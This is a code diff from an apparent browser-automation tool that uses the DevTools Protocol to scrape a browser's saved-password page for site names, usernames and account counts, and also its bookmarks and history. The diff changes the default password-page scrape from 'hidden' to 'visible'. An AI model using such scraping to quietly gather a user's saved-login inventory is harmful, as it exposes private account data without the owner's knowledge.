await self.session.send("Page.bringToFront")
await self.session.send("Page.navigate", {"url": normalize_url(self.options.start_url)}) await self.session.send("Page.navigate", {"url": normalize_url(self.options.start_url)})
await self.session.send( await self.session.send(
"Page.startScreencast", "Page.startScreencast",
+16 -11
View File
@@ -9,8 +9,9 @@ from .log import info
HOST_RE = re.compile( HOST_RE = re.compile(
r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9-]+(?:\.[a-z0-9-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)" r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9_-]+(?:\.[a-z0-9_-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)"
) )
ACCOUNT_COUNT_RE = re.compile(r"(?i)^(\d+)\s+accounts?$")
EXTENSION_ID_RE = re.compile(r"^ID\s*([a-p]{32})$", re.I) EXTENSION_ID_RE = re.compile(r"^ID\s*([a-p]{32})$", re.I)
VERSION_RE = re.compile(r"^\d+(?:\.\d+)+(?:[._-]\d+)?$") VERSION_RE = re.compile(r"^\d+(?:\.\d+)+(?:[._-]\d+)?$")
@@ -503,7 +504,7 @@ async def collect_password_sites(
cdp: CDPClient, cdp: CDPClient,
*, *,
limit: int, limit: int,
mode: str = "hidden", mode: str = "visible",
) -> list[dict[str, Any]]: ) -> list[dict[str, Any]]:
async def action(session) -> list[dict[str, Any]]: async def action(session) -> list[dict[str, Any]]:
await _wait_for_true(session, PASSWORD_READY_JS, attempts=20) await _wait_for_true(session, PASSWORD_READY_JS, attempts=20)
@@ -514,6 +515,13 @@ async def collect_password_sites(
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode) raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
return parse_password_sites(raw, limit) return parse_password_sites(raw, limit)
try:
return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode)
except Exception as exc: # noqa: BLE001 - WebUI DOM fallback.
info(f"falling back to generic password WebUI scrape: {exc}")
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
return parse_password_sites(raw, limit)
def flatten_bookmarks( def flatten_bookmarks(
tree: list[dict[str, Any]], tree: list[dict[str, Any]],
@@ -594,14 +602,6 @@ async def collect_bookmarks(
raw = await scrape_webui(cdp, bookmark_urls(cdp.endpoint.product), mode=mode) raw = await scrape_webui(cdp, bookmark_urls(cdp.endpoint.product), mode=mode)
return parse_bookmarks(raw, text=text, domain=domain, limit=limit) return parse_bookmarks(raw, text=text, domain=domain, limit=limit)
try:
return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode)
except Exception as exc: # noqa: BLE001 - Edge WebUI fallback.
info(f"falling back to generic password WebUI scrape: {exc}")
raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode)
return parse_password_sites(raw, limit)
def parse_history(raw: dict[str, Any], text: str | None, domain: str | None, limit: int) -> list[dict[str, Any]]: def parse_history(raw: dict[str, Any], text: str | None, domain: str | None, limit: int) -> list[dict[str, Any]]:
query = (text or "").lower() query = (text or "").lower()
domain_l = (domain or "").lower() domain_l = (domain or "").lower()
@@ -733,8 +733,13 @@ def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]
if site.lower() in seen: if site.lower() in seen:
continue continue
username = None username = None
entry_count = None
for neighbor in lines[idx + 1 : min(len(lines), idx + 5)]: for neighbor in lines[idx + 1 : min(len(lines), idx + 5)]:
neighbor_l = neighbor.lower() neighbor_l = neighbor.lower()
account_match = ACCOUNT_COUNT_RE.match(neighbor)
if account_match:
entry_count = int(account_match.group(1))
continue
if ( if (
neighbor_l in CONTROL_LINES neighbor_l in CONTROL_LINES
or neighbor_l.startswith("--") or neighbor_l.startswith("--")
@@ -746,7 +751,7 @@ def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]
username = neighbor username = neighbor
break break
seen.add(site.lower()) seen.add(site.lower())
out.append({"site": site, "username": username, "source_url": raw.get("url")}) out.append({"site": site, "username": username, "entry_count": entry_count, "source_url": raw.get("url")})
if len(out) >= limit: if len(out) >= limit:
break break
return out return out